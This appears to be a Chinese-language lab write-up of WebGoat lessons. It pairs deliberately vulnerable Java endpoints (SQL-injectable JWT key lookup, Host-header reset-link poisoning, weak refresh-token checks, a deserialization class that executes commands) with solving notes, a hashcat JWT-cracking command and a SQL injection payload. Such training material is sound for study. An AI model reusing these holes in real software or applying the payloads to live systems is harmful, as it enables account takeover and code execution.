JWTSecretKeyEndpoint package com.wanan.webgoat.lessons.jwt;import com.wanan.webgoat.container.assignments.AssignmentEndpoint;import com.wanan.webgoat.container.assignments.AssignmentHints;import com.wanan.webgoat.container.assignments.AttackResult;import io.jsonwebtoken.Claims;import io.jsonwebtoken.Jwt;import io.jsonwebtoken.Jwts;import io.jsonwebtoken.SignatureAlgorithm;import io.jsonwebtoken.impl.TextCodec;import org.springframework.http.MediaType;import org.springframework.web.bind.annotation.*;import java.sql.Date;import java.time.Instant;import java.util.Calendar;import java.util.List;import java.util.Random;@RestController @AssignmentHints({"jwt-secret-hint1", "jwt-secret-hint2", "jwt-secret-hint3"}) public class JWTSecretKeyEndpoint extends AssignmentEndpoint { public static final String[] SECRETS = {"victory" ,"business" ,"available" ,"shipping" ,"washington" }; public static final String JWT_SECRET = TextCodec.BASE64.encode(SECRETS[new Random ().nextInt(SECRETS.length)]); private static final String WEBGOAT_USER = "WebGoat" ; private static final List<String> expectedClaims = List.of("iss" ,"iat" ,"exp" ,"aud" ,"sub" ,"username" ,"Email" ,"Role" ); @RequestMapping(path = "/JWT/secret/gettoken",produces = MediaType.TEXT_HTML_VALUE) @ResponseBody public String getSecretToken () { return Jwts.builder() .setIssuer("WebGoat Token Builder" ) .setAudience("webgoat.org" ) .setIssuedAt(Calendar.getInstance().getTime()) .setExpiration(Date.from(Instant.now().plusSeconds(60 ))) .setSubject("tom@webgoat.org" ) .claim("username" ,"Tom" ) .claim("Email" ,"tom@webgoat.org" ) .claim("Role" ,new String []{"Manager" ,"Project Administrator" }) .signWith(SignatureAlgorithm.HS256,JWT_SECRET).compact(); } @PostMapping("/JWT/secret") @ResponseBody public AttackResult login (@RequestParam String token) { try { Jwt jwt = Jwts.parser().setSigningKey(JWT_SECRET).parseClaimsJws(token); Claims claims = (Claims) jwt.getBody(); if (!claims.keySet().containsAll(expectedClaims)){ return failed(this ).feedback("jwt-secret-claims-missing" ).build(); }else { String user = (String) claims.get("username" ); if (WEBGOAT_USER.equalsIgnoreCase(user)){ return success(this ).build(); }else { return failed(this ).feedback("jwt-secret-incorrect-user" ).feedbackArgs(user).build(); } } }catch (Exception e){ return failed(this ).feedback("jwt-invalid-token" ).output(e.getMessage()).build(); } } }
eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTY2Mjk3OTMwMiwiZXhwIjoxNjYyOTc5MzYyLCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQub3JnIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.OX3gLBVv0LUp1i59G4sz13o-KSgWHU1es1ddcefA4pU
这里使用字典爆破
hashcat token.txt -m 16500 -a 3 -w 3 /root/c-jwt-cracker/google-10000-english/google-10000-english.txt
这里需要注意的是失效的时间
JWTRefreshEndpoint package com.wanan.webgoat.lessons.jwt;import com.wanan.webgoat.container.assignments.AssignmentEndpoint;import com.wanan.webgoat.container.assignments.AssignmentHints;import com.wanan.webgoat.container.assignments.AttackResult;import io.jsonwebtoken.*;import org.apache.commons.lang3.RandomStringUtils;import org.springframework.http.HttpStatus;import org.springframework.http.MediaType;import org.springframework.http.ResponseEntity;import org.springframework.web.bind.annotation.*;import java.util.*;import java.util.concurrent.TimeUnit;import static org.springframework.http.ResponseEntity.ok;@RestController @AssignmentHints({"jwt-refresh-hint1", "jwt-refresh-hint2", "jwt-refresh-hint3", "jwt-refresh-hint4"}) public class JWTRefreshEndpoint extends AssignmentEndpoint { public static final String PASSWORD = "bm5nhSkxCXZkKRy4" ; private static final String JWT_PASSWORD = "bm5n3SkxCX4kKRy4" ; private static final List<String > validRefreshTokens = new ArrayList <>(); @PostMapping(value = "/JWT/refresh/login", consumes = MediaType.APPLICATION_JSON_VALUE, produces = MediaType.APPLICATION_JSON_VALUE) @ResponseBody public ResponseEntity follow (@RequestBody(required = false) Map<String, Object> json) { if (json == null ) { return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build(); } String user = (String) json.get("user" ); String password = (String) json.get("password" ); if ("Jerry" .equalsIgnoreCase(user) && PASSWORD.equals(password)) { return ok(createNewTokens(user)); } return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build(); } private Map<String ,Object> createNewTokens (String user) { Map<String ,Object> claims = new HashMap <>(); claims.put("admin" ,"false" ); claims.put("user" ,user); String token = Jwts.builder() .setIssuedAt(new Date (System.currentTimeMillis() + TimeUnit.DAYS.toDays(10 ))) .setClaims(claims) .signWith(SignatureAlgorithm.HS512,JWT_PASSWORD) .compact(); Map<String ,Object> tokenJson = new HashMap <>(); String refreshToken = RandomStringUtils.randomAlphabetic(20 ); validRefreshTokens.add(refreshToken); tokenJson.put("access_token" ,token); tokenJson.put("refresh_token" ,refreshToken); return tokenJson; } @PostMapping("/JWT/refresh/checkout") @ResponseBody public ResponseEntity<AttackResult> checkout (@RequestHeader(value = "Authorization",required = false) String token) { if (token == null ){ return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build(); } try { Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(token.replace("Bearer " ,"" )); Claims claims = (Claims) jwt.getBody(); String user = (String) claims.get("user" ); if ("Tom" .equals(user)){ return ok(success(this ).build()); } return ok(failed(this ).feedback("jwt-refresh-not-tom" ).feedbackArgs(user).build()); }catch (ExpiredJwtException e){ return ok(failed(this ).output(e.getMessage()).build()); }catch (JwtException e){ return ok(failed(this ).feedback("jwt-invalid-token" ).build()); } } @PostMapping("/JWT/refresh/newToken") @ResponseBody public ResponseEntity newToken (@RequestHeader(value = "Authorization",required = false) String token, @RequestBody(required = false) Map<String,Object> json) { if (token == null || json == null ){ return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build(); } String user; String refreshToken; try { Jwt<Header,Claims> jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(token.replace("Bearer " ,"" )); user = (String) jwt.getBody().get("user" ); refreshToken = (String) json.get("refresh_token" ); }catch (ExpiredJwtException e){ user = (String) e.getClaims().get("user" ); refreshToken = (String) json.get("refresh_token" ); } if (user == null || refreshToken == null ){ return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build(); }else if (validRefreshTokens.contains(refreshToken)){ validRefreshTokens.remove(refreshToken); return ok(createNewTokens(user)); }else { return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build(); } } }
问题就出现在这里 这里对refreshToken 的校验极小 导致仅仅存在就通过了 没有对绑定的用户做进一步确认 因此这里的user可以随我们控制进入
但是呢 这道题目必须要读源码 这里有两个重点 一是日志文件 另一个是tom付费
这里可以看到给的信息根本不够用
这里的登录很明显 这个Jerry 的用户名和密码是已知的 而且既然让我们用tom去买书 那么我们应该有个账号吧
因此这里的Jerry 用户名密码当做已知条件 接着就是参数问题了 首先后端接受的参数是json 那么我们必须发送json 注意Content-Type 而这里的参数名也比较好猜 user password 我们也当做已知
这样我们就通过已知账号登录了 并获取了一个refresh_token
接着我们需要去请求newToken 这里也没有给出提示 当我们拿到了所有的值去访问的时候还是会出现认证不通过的情况是什么原因呢
这里的jwt解析完成后其实使用的是Jerry
也就是说我们需要一个tom的jwt来请求
成功获取到tom的token 买东西
JWTFinalEndpoint package com.wanan.webgoat.lessons.jwt;import com.wanan.webgoat.container.LessonDataSource;import com.wanan.webgoat.container.assignments.AssignmentEndpoint;import com.wanan.webgoat.container.assignments.AssignmentHints;import com.wanan.webgoat.container.assignments.AttackResult;import io.jsonwebtoken.*;import io.jsonwebtoken.impl.TextCodec;import org.apache.commons.lang3.StringUtils;import org.springframework.web.bind.annotation.*;import java.sql.ResultSet;import java.sql.SQLException;@RestController @AssignmentHints({"jwt-final-hint1", "jwt-final-hint2", "jwt-final-hint3", "jwt-final-hint4", "jwt-final-hint5", "jwt-final-hint6"}) public class JWTFinalEndpoint extends AssignmentEndpoint { private final LessonDataSource dataSource; public JWTFinalEndpoint (LessonDataSource dataSource) { this .dataSource = dataSource; } @PostMapping("/JWT/final/follow/{user}") @ResponseBody public String follow (@PathVariable("user") String user) { if ("Jerry" .equals(user)){ return "Following yourself seems redundant" ; }else { return "You are now following Tom" ; } } @PostMapping("/JWT/final/delete") @ResponseBody public AttackResult resetVotes (@RequestParam("token") String token) { if (StringUtils.isEmpty(token)){ return failed(this ).feedback("jwt-invalid-token" ).build(); }else { try { final String[] errorMessage = {null }; Jwt jwt = Jwts.parser().setSigningKeyResolver(new SigningKeyResolverAdapter () { @Override public byte [] resolveSigningKeyBytes(JwsHeader header, Claims claims) { final String kid = (String) header.get("kid" ); try (var connection = dataSource.getConnection()) { ResultSet rs = connection.createStatement().executeQuery("SELECT key FROM jwt_keys WHERE id = '" + kid + "'" ); while (rs.next()) { return TextCodec.BASE64.decode(rs.getString(1 )); } } catch (SQLException e) { errorMessage[0 ] = e.getMessage(); } return null ; } }).parseClaimsJws(token); if (errorMessage[0 ] != null ){ return failed(this ).output(errorMessage[0 ]).build(); } Claims claims = (Claims) jwt.getBody(); String username = (String) claims.get("username" ); if ("Jerry" .equals(username)){ return failed(this ).feedback("jwt-final-jerry-account" ).build(); } if ("Tom" .equals(username)){ return success(this ).build(); }else { return failed(this ).feedback("jwt-final-not-tom" ).build(); } }catch (JwtException e){ return failed(this ).feedback("jwt-invalid-token" ).output(e.toString()).build(); } } } }
这里的sql语句中的from 其实是让sql语句顺利执行的 因为这里使用的是hsql
webgoat_key' union select 'MQ==' from salaries --
注意失效时间
password_reset PasswordReset package com.wanan.webgoat.lessons.password_reset;import com.wanan.webgoat.container.lessons.Category;import com.wanan.webgoat.container.lessons.Lesson;import org.springframework.stereotype.Component;@Component public class PasswordReset extends Lesson { @Override protected Category getDefaultCategory () { return Category.A7; } @Override public String getTitle () { return "password-reset.title" ; } }
SimpleMailAssignment package com.wanan.webgoat.lessons.password_reset;import com.wanan.webgoat.container.assignments.AssignmentEndpoint;import com.wanan.webgoat.container.assignments.AttackResult;import org.apache.commons.lang3.StringUtils;import org.springframework.beans.factory.annotation.Value;import org.springframework.http.MediaType;import org.springframework.web.bind.annotation.PostMapping;import org.springframework.web.bind.annotation.RequestParam;import org.springframework.web.bind.annotation.ResponseBody;import org.springframework.web.bind.annotation.RestController;import org.springframework.web.client.RestClientException;import org.springframework.web.client.RestTemplate;import java.time.LocalDateTime;import static java.util.Optional.ofNullable;@RestController public class SimpleMailAssignment extends AssignmentEndpoint { private final String webWolfURL; private RestTemplate restTemplate; public SimpleMailAssignment (RestTemplate restTemplate, @Value("${webwolf.mail.url}") String webWolfURL) { this .restTemplate = restTemplate; this .webWolfURL = webWolfURL; } @PostMapping(path = "/PasswordReset/simple-mail", consumes = MediaType.APPLICATION_FORM_URLENCODED_VALUE) @ResponseBody public AttackResult login (@RequestParam String email, @RequestParam String password) { String emailAddress = ofNullable(email).orElse("unknown@webgoat.org" ); String username = extractUsername(emailAddress); if (username.equals(getWebSession().getUserName()) && StringUtils.reverse(username).equals(password)) { return success(this ).build(); } else { return failed(this ).feedbackArgs("password-reset-simple.password_incorrect" ).build(); } } @PostMapping(consumes = MediaType.APPLICATION_FORM_URLENCODED_VALUE, value = "/PasswordReset/simple-mail/reset") @ResponseBody public AttackResult resetPassword (@RequestParam String emailReset) { String email = ofNullable(emailReset).orElse("unknown@webgoat.org" ); return sendEmail(extractUsername(email), email); } private String extractUsername (String email) { int index = email.indexOf("@" ); return email.substring(0 , index == -1 ? email.length() : index); } private AttackResult sendEmail (String username, String email) { if (username.equals(getWebSession().getUserName())) { PasswordResetEmail mailEvent = PasswordResetEmail.builder() .recipient(username) .title("Simple e-mail assignment" ) .time(LocalDateTime.now()) .contents("Thanks for resetting your password, your new password is: " + StringUtils.reverse(username)) .sender("webgoat@owasp.org" ) .build(); try { restTemplate.postForEntity(webWolfURL, mailEvent, Object.class); } catch (RestClientException e) { return informationMessage(this ).feedback("password-reset-simple.email_failed" ).output(e.getMessage()).build(); } return informationMessage(this ).feedback("password-reset-simple.email_send" ).feedbackArgs(email).build(); } else { return informationMessage(this ).feedback("password-reset-simple.email_mismatch" ).feedbackArgs(username).build(); } } }
PasswordResetEmail package com.wanan.webgoat.lessons.password_reset;import lombok.Builder;import lombok.Data;import java.io.Serializable;import java.time.LocalDateTime;@Builder @Data public class PasswordResetEmail implements Serializable { private LocalDateTime time; private String contents; private String sender; private String title; private String recipient; }
测试一下webwolf的email 是否通
前面用户名 @后面随意
接收到邮箱
登录即可过关
QuestionsAssignment package com.wanan.webgoat.lessons.password_reset;import com.wanan.webgoat.container.assignments.AssignmentEndpoint;import com.wanan.webgoat.container.assignments.AttackResult;import org.springframework.http.MediaType;import org.springframework.web.bind.annotation.PostMapping;import org.springframework.web.bind.annotation.RequestParam;import org.springframework.web.bind.annotation.ResponseBody;import org.springframework.web.bind.annotation.RestController;import java.util.HashMap;import java.util.Map;@RestController public class QuestionsAssignment extends AssignmentEndpoint { private static final Map<String ,String > COLORS = new HashMap <>(); static { COLORS.put("admin" ,"green" ); COLORS.put("jerry" ,"orange" ); COLORS.put("tom" , "purple" ); COLORS.put("larry" , "yellow" ); COLORS.put("webgoat" , "red" ); } @PostMapping(path = "/PasswordReset/questions",consumes = MediaType.APPLICATION_FORM_URLENCODED_VALUE) @ResponseBody public AttackResult passwordReset (@RequestParam Map<String ,Object> json) { String securityQuestion = (String) json.getOrDefault("securityQuestion" ,"" ); String username = (String) json.getOrDefault("username" ,"" ); if ("webgoat" .equalsIgnoreCase(username.toLowerCase())){ return failed(this ).feedback("password-questions-wrong-user" ).build(); } String validAnswer = COLORS.get(username.toLowerCase()); if (validAnswer == null ){ return failed(this ).feedback("password-questions-unknown-user" ).feedbackArgs(username).build(); }else if (validAnswer.equals(securityQuestion)){ return success(this ).build(); } return failed(this ).build(); } }
这里的意思是让我们爆破吗
这里不爆破了直接登了
SecurityQuestionAssignment package com.wanan.webgoat.lessons.password_reset;import com.wanan.webgoat.container.assignments.AssignmentEndpoint;import com.wanan.webgoat.container.assignments.AttackResult;import org.springframework.beans.factory.annotation.Autowired;import org.springframework.web.bind.annotation.PostMapping;import org.springframework.web.bind.annotation.RequestParam;import org.springframework.web.bind.annotation.ResponseBody;import org.springframework.web.bind.annotation.RestController;import static java.util.Optional.of;import java.util.HashMap;import java.util.Map;@RestController public class SecurityQuestionAssignment extends AssignmentEndpoint { @Autowired private TriedQuestions triedQuestions; private static Map<String ,String > questions; static { questions = new HashMap <>(); questions.put("What is your favorite animal?" , "The answer can easily be guessed and figured out through social media." ); questions.put("In what year was your mother born?" , "Can be easily guessed." ); questions.put("What was the time you were born?" , "This may first seem like a good question, but you most likely dont know the exact time, so it might be hard to remember." ); questions.put("What is the name of the person you first kissed?" , "Can be figured out through social media, or even guessed by trying the most common names." ); questions.put("What was the house number and street name you lived in as a child?" , "Answer can be figured out through social media, or worse it might be your current address." ); questions.put("In what town or city was your first full time job?" , "In times of LinkedIn and Facebook, the answer can be figured out quite easily." ); questions.put("In what city were you born?" , "Easy to figure out through social media." ); questions.put("What was the last name of your favorite teacher in grade three?" , "Most people would probably not know the answer to that." ); questions.put("What is the name of a college/job you applied to but didn't attend?" , "It might not be easy to remember and an hacker could just try some company's/colleges in your area." ); questions.put("What are the last 5 digits of your drivers license?" , "Is subject to change, and the last digit of your driver license might follow a specific pattern. (For example your birthday)." ); questions.put("What was your childhood nickname?" , "Not all people had a nickname." ); questions.put("Who was your childhood hero?" , "Most Heroes we had as a child where quite obvious ones, like Superman for example." ); questions.put("On which wrist do you were your watch?" , "There are only to possible real answers, so really easy to guess." ); questions.put("What is your favorite color?" , "Can easily be guessed." ); } @PostMapping("/PasswordReset/SecurityQuestions") @ResponseBody public AttackResult completed (@RequestParam String question) { var answer = of(questions.get(question)); if (answer.isPresent()){ triedQuestions.incr(question); if (triedQuestions.isCompleted()){ return success(this ).output("<b>" +answer+"</b>" ).build(); } } return informationMessage(this ) .feedback("password-questions-one-successful" ) .output(answer.orElse("Unknown question, please try again" )) .build(); } }
TriedQuestions package com.wanan.webgoat.lessons.password_reset;import org.springframework.stereotype.Component;import org.springframework.web.context.annotation.SessionScope;import java.util.HashSet;import java.util.Set;@Component @SessionScope public class TriedQuestions { private Set<String> answeredQuestions = new HashSet <>(); public void incr (String question) { answeredQuestions.add(question); } public boolean isCompleted () { return answeredQuestions.size() > 1 ; } }
随便看两个问题就过关
ResetLinkAssignment 注意与原文的差异 对应均需要修改
package com.wanan.webgoat.lessons.password_reset;import com.google.common.collect.Maps;import com.wanan.webgoat.container.assignments.AssignmentEndpoint;import com.wanan.webgoat.container.assignments.AssignmentHints;import com.wanan.webgoat.container.assignments.AttackResult;import com.wanan.webgoat.lessons.password_reset.resetlink.PasswordChangeForm;import org.springframework.ui.Model;import org.springframework.validation.BindingResult;import org.springframework.web.bind.annotation.*;import org.springframework.web.servlet.ModelAndView;import java.util.ArrayList;import java.util.HashMap;import java.util.List;import java.util.Map;@RestController @AssignmentHints({"password-reset-hint1", "password-reset-hint2", "password-reset-hint3", "password-reset-hint4", "password-reset-hint5", "password-reset-hint6"}) public class ResetLinkAssignment extends AssignmentEndpoint { static final String PASSWORD_TOM_9 = "somethingVeryRandomWhichNoOneWillEverTypeInAsPasswordForTom" ; static final String TOM_EMAIL = "tom@webgoat-cloud.org" ; static Map<String ,String > userToTomResetLink = new HashMap <>(); static Map<String ,String > usersToTomPassword = Maps.newHashMap(); static List<String> resetLinks = new ArrayList <>(); static final String TEMPLATE = "Hi, you requested a password reset link, please use this " + "<a target='_blank' href='http://%s/WebGoat/PasswordReset/reset/reset-password/%s'>link</a> to reset your password." + "\n \n\n" + "If you did not request this password change you can ignore this message." + "\n" + "If you have any comments or questions, please do not hesitate to reach us at support@webgoat-cloud.org" + "\n\n" + "Kind regards, \nTeam WebGoat" ; @PostMapping("/PasswordReset/reset/login") @ResponseBody public AttackResult login (@RequestParam String password ,@RequestParam String email) { if (TOM_EMAIL.equals(email)){ String passwordTom = usersToTomPassword.getOrDefault(getWebSession().getUserName(),PASSWORD_TOM_9); if (passwordTom.equals(PASSWORD_TOM_9)){ return success(this ).build(); } } return failed(this ).feedback("login_failed.tom" ).build(); } @GetMapping("/PasswordReset/reset/reset-password/{link}") public ModelAndView resetPassword (@PathVariable(value = "link") String link, Model model) { ModelAndView modelAndView = new ModelAndView (); if (ResetLinkAssignment.resetLinks.contains(link)){ PasswordChangeForm form = new PasswordChangeForm (); form.setResetLink(link); model.addAttribute("form" ,form); modelAndView.addObject("form" ,form); modelAndView.setViewName("lessons/password_reset/templates/password_reset.html" ); }else { modelAndView.setViewName("lessons/password_reset/templates/password_link_not_found.html" ); } return modelAndView; } @GetMapping("/PasswordReset/reset/change-password") public ModelAndView illegalCall () { ModelAndView modelAndView = new ModelAndView (); modelAndView.setViewName("lessons/password_reset/templates/password_link_not_found.html" ); return modelAndView; } @PostMapping("/PasswordReset/reset/change-password") public ModelAndView changePassword (@ModelAttribute("form") PasswordChangeForm form, BindingResult bindingResult) { ModelAndView modelAndView = new ModelAndView (); if (!org.springframework.util.StringUtils.hasText(form.getPassword())){ bindingResult.rejectValue("password" ,"not.empty" ); } if (bindingResult.hasErrors()){ modelAndView.setViewName("lessons/password_reset/templates/password_reset.html" ); return modelAndView; } if (!resetLinks.contains(form.getResetLink())){ modelAndView.setViewName("lessons/password_reset/templates/password_link_not_found.html" ); return modelAndView; } if (checkIfLinkIsFromTom(form.getResetLink())){ usersToTomPassword.put(getWebSession().getUserName(),form.getPassword()); } modelAndView.setViewName("lessons/password_reset/templates/success.html" ); return modelAndView; } private boolean checkIfLinkIsFromTom (String resetLinkFromForm) { String resetLink = userToTomResetLink.getOrDefault(getWebSession().getUserName(),"unknown" ); return resetLink.equals(resetLinkFromForm); } }
ResetLinkAssignmentForgotPassword package com.wanan.webgoat.lessons.password_reset;import com.wanan.webgoat.container.assignments.AssignmentEndpoint;import com.wanan.webgoat.container.assignments.AttackResult;import org.springframework.beans.factory.annotation.Value;import org.springframework.http.HttpEntity;import org.springframework.http.HttpMethod;import org.springframework.web.bind.annotation.PostMapping;import org.springframework.web.bind.annotation.RequestParam;import org.springframework.web.bind.annotation.ResponseBody;import org.springframework.web.bind.annotation.RestController;import org.springframework.web.client.RestTemplate;import org.springframework.http.HttpHeaders;import javax.servlet.http.HttpServletRequest;import java.util.UUID;@RestController public class ResetLinkAssignmentForgotPassword extends AssignmentEndpoint { private final RestTemplate restTemplate; private String webWolfHost; private String webWolfPort; private final String webWolfMailURL; public ResetLinkAssignmentForgotPassword (RestTemplate restTemplate, @Value("${webwolf.host}") String webWolfHost, @Value("${webwolf.port}") String webWolfPort, @Value("${webwolf.mail.url}") String webWolfMailURL) { this .restTemplate = restTemplate; this .webWolfHost = webWolfHost; this .webWolfPort = webWolfPort; this .webWolfMailURL = webWolfMailURL; } @PostMapping("/PasswordReset/ForgotPassword/create-password-reset-link") @ResponseBody public AttackResult sendPasswordResetLink (@RequestParam String email, HttpServletRequest request) { String resetLink = UUID.randomUUID().toString(); ResetLinkAssignment.resetLinks.add(resetLink); String host = request.getHeader("host" ); if (ResetLinkAssignment.TOM_EMAIL.equals(email) && (host.contains(webWolfPort) || host.contains(webWolfHost))){ ResetLinkAssignment.userToTomResetLink.put(getWebSession().getUserName(), resetLink); fakeClickingLinkEmail(host,resetLink); }else { try { sendMailToUser(email,host,resetLink); }catch (Exception e){ return failed(this ).output("E-mail can't be send. please try again." ).build(); } } return success(this ).feedback("email.send" ).feedbackArgs(email).build(); } private void sendMailToUser (String email, String host, String resetLink) { int index = email.indexOf("@" ); String username = email.substring(0 ,index == -1 ? email.length(): index); PasswordResetEmail mail = PasswordResetEmail.builder() .title("Your password reset link" ) .contents(String.format(ResetLinkAssignment.TEMPLATE,host,resetLink)) .sender("password-reset@webgoat-cloud.net" ) .recipient(username).build(); this .restTemplate.postForEntity(webWolfMailURL,mail,Object.class); } private void fakeClickingLinkEmail (String host, String resetLink) { try { HttpHeaders httpHeaders = new HttpHeaders (); HttpEntity httpEntity = new HttpEntity (httpHeaders); new RestTemplate ().exchange(String.format("http://%s/PasswordReset/reset/reset-password/%s" ,host,resetLink), HttpMethod.GET,httpEntity,Void.class); }catch (Exception e){ } } }
resetlink package com.wanan.webgoat.lessons.password_reset.resetlink;import lombok.Getter;import lombok.Setter;import javax.validation.constraints.NotNull;import javax.validation.constraints.Size;@Getter @Setter public class PasswordChangeForm { @NotNull @Size(min = 6,max =10) private String password; private String resetLink; }
发送邮件这里可以看到取的是请求头中的host去发送的
这里的host跟踪下发现到了 这里
也就是说拼接到了邮件里面去了 还需要注意的是 这里的拼接附带着uuid 也就是说 如果我们拿到这个uuid自然就可以重置别人的密码
这里我们可以跟着走一遍就知道什么原因了 抓一下下面的包
更改host为webwolf
我们接着跟下去看看
这里的话其实是在模拟tom去手动点击这个email地址
这里就可以看到了 这个host是一路跟下来的
那么就会发送请求到webwolf中去
拿到uuid去更改tom的密码
接着去登录tom
secure_passwords SecurePasswords package com.wanan.webgoat.lessons.secure_passwords;import com.wanan.webgoat.container.lessons.Category;import com.wanan.webgoat.container.lessons.Lesson;import org.springframework.stereotype.Component;@Component public class SecurePasswords extends Lesson { @Override protected Category getDefaultCategory () { return Category.A7; } @Override public String getTitle () { return "secure-passwords.title" ; } }
SecurePasswordsAssignment package com.wanan.webgoat.lessons.secure_passwords;import com.nulabinc.zxcvbn.Strength;import com.nulabinc.zxcvbn.Zxcvbn;import com.wanan.webgoat.container.assignments.AssignmentEndpoint;import com.wanan.webgoat.container.assignments.AttackResult;import org.springframework.web.bind.annotation.PostMapping;import org.springframework.web.bind.annotation.RequestParam;import org.springframework.web.bind.annotation.ResponseBody;import org.springframework.web.bind.annotation.RestController;import java.text.DecimalFormat;import java.text.DecimalFormatSymbols;import java.util.Locale;@RestController public class SecurePasswordsAssignment extends AssignmentEndpoint { @PostMapping("SecurePasswords/assignment") @ResponseBody public AttackResult completed (@RequestParam String password) { Zxcvbn zxcvbn = new Zxcvbn (); StringBuffer output = new StringBuffer (); DecimalFormat df = new DecimalFormat ("0" , DecimalFormatSymbols.getInstance(Locale.ENGLISH)); df.setMaximumFractionDigits(340 ); Strength strength = zxcvbn.measure(password); output.append("<b>Your Password: *******</b></br>" ); output.append("<b>Length: </b>" + password.length() + "</br>" ); output.append("<b>Estimated guesses needed to crack your password: </b>" + df.format(strength.getGuesses()) + "</br>" ); output.append("<div style=\"float: left;padding-right: 10px;\"><b>Score: </b>" + strength.getScore() + "/4 </div>" ); if (strength.getScore() <= 1 ) { output.append("<div style=\"background-color:red;width: 200px;border-radius: 12px;float: left;\"> </div></br>" ); } else if (strength.getScore() <= 3 ) { output.append("<div style=\"background-color:orange;width: 200px;border-radius: 12px;float: left;\"> </div></br>" ); } else { output.append("<div style=\"background-color:green;width: 200px;border-radius: 12px;float: left;\"> </div></br>" ); } output.append("<b>Estimated cracking time: </b>" + calculateTime((long ) strength.getCrackTimeSeconds().getOnlineNoThrottling10perSecond()) + "</br>" ); if (strength.getFeedback().getWarning().length() != 0 ) output.append("<b>Warning: </b>" + strength.getFeedback().getWarning() + "</br>" ); if (strength.getFeedback().getSuggestions().size() != 0 ) { output.append("<b>Suggestions:</b></br><ul>" ); for (String sug : strength.getFeedback().getSuggestions()) output.append("<li>" + sug + "</li>" ); output.append("</ul></br>" ); } output.append("<b>Score: </b>" + strength.getScore() + "/4 </br>" ); if (strength.getScore() >= 4 ) return success(this ).feedback("securepassword-success" ).output(output.toString()).build(); else return failed(this ).feedback("securepassword-failed" ).output(output.toString()).build(); } public static String calculateTime (long seconds) { int s = 1 ; int min = (60 * s); int hr = (60 * min); int d = (24 * hr); int yr = (365 * d); long years = seconds / (d) / 365 ; long days = (seconds % yr) / (d); long hours = (seconds % d) / (hr); long minutes = (seconds % hr) / (min); long sec = (seconds % min * s); return (years + " years " + days + " days " + hours + " hours " + minutes + " minutes " + sec + " seconds" ); } }
deserialization InsecureDeserialization package com.wanan.webgoat.lessons.deserialization;import com.wanan.webgoat.container.lessons.Category;import com.wanan.webgoat.container.lessons.Lesson;import org.springframework.stereotype.Component;@Component public class InsecureDeserialization extends Lesson { @Override protected Category getDefaultCategory () { return Category.A8; } @Override public String getTitle () { return "insecure-deserialization.title" ; } }
InsecureDeserializationTask package com.wanan.webgoat.lessons.deserialization;import com.wanan.dummy.insecure.framework.VulnerableTaskHolder;import com.wanan.webgoat.container.assignments.AssignmentEndpoint;import com.wanan.webgoat.container.assignments.AssignmentHints;import com.wanan.webgoat.container.assignments.AttackResult;import org.springframework.web.bind.annotation.PostMapping;import org.springframework.web.bind.annotation.RequestParam;import org.springframework.web.bind.annotation.ResponseBody;import org.springframework.web.bind.annotation.RestController;import java.io.ByteArrayInputStream;import java.io.IOException;import java.io.InvalidClassException;import java.io.ObjectInputStream;import java.util.Base64;@RestController @AssignmentHints({"insecure-deserialization.hints.1", "insecure-deserialization.hints.2", "insecure-deserialization.hints.3"}) public class InsecureDeserializationTask extends AssignmentEndpoint { @PostMapping("/InsecureDeserialization/task") @ResponseBody public AttackResult completed (@RequestParam String token) throws IOException{ String b64token; long before; long after; int delay; b64token = token.replace('-' ,'+' ).replace('_' ,'/' ); try (ObjectInputStream ois = new ObjectInputStream (new ByteArrayInputStream (Base64.getDecoder().decode(b64token)))){ before = System.currentTimeMillis(); Object o = ois.readObject(); if (!(o instanceof VulnerableTaskHolder)){ if (o instanceof String){ return failed(this ).feedback("insecure-deserialization.stringobject" ).build(); } return failed(this ).feedback("insecure-deserialization.wrongobject" ).build(); } after = System.currentTimeMillis(); }catch (InvalidClassException e){ return failed(this ).feedback("insecure-deserialization.invalidversion" ).build(); }catch (IllegalArgumentException e){ return failed(this ).feedback("insecure-deserialization.expired" ).build(); }catch (Exception e){ return failed(this ).feedback("insecure-deserialization.invalidversion" ).build(); } delay = (int ) (after - before); if (delay > 7000 ){ return failed(this ).build(); } if (delay < 3000 ){ return failed(this ).build(); } return success(this ).build(); } }
VulnerableTaskHolder 这里相当于写了一个危险类 让我们了解反序列化漏洞
package com.wanan.dummy.insecure.framework;import lombok.extern.slf4j.Slf4j;import java.io.*;import java.time.LocalDateTime;@Slf4j public class VulnerableTaskHolder implements Serializable { private static final long serialVersionUID = 2 ; private String taskName; private String taskAction; private LocalDateTime requestedExecutionTime; public VulnerableTaskHolder (String taskName, String taskAction) { super (); this .taskName = taskName; this .taskAction = taskAction; this .requestedExecutionTime = LocalDateTime.now(); } @Override public String toString () { return "VulnerableTaskHolder [taskName=" + taskName + ", taskAction=" + taskAction + ", requestedExecutionTime=" + requestedExecutionTime + "]" ; } private void readObject (ObjectInputStream stream) throws Exception{ stream.defaultReadObject(); log.info("restoring task: {}" ,taskName); log.info("restoring time: {}" ,taskAction); if (requestedExecutionTime != null && (requestedExecutionTime.isBefore(LocalDateTime.now().minusMinutes(10 )) || requestedExecutionTime.isAfter(LocalDateTime.now()))){ log.debug(this .toString()); throw new IllegalStateException ("outdated" ); } if ((taskAction.startsWith("sleep" ) || taskAction.startsWith("ping" )) && taskAction.length() < 22 ){ log.info("about to execute: {}" ,taskAction); try { Process p = Runtime.getRuntime().exec(taskAction); BufferedReader in = new BufferedReader (new InputStreamReader (p.getInputStream())); String line = null ; while ((line = in.readLine()) != null ){ log.info(line); } }catch (IOException e){ log.error("IO Exception" ,e); } } } }
这里就是一个超级简单的反序列化 写一下反序列化利用链
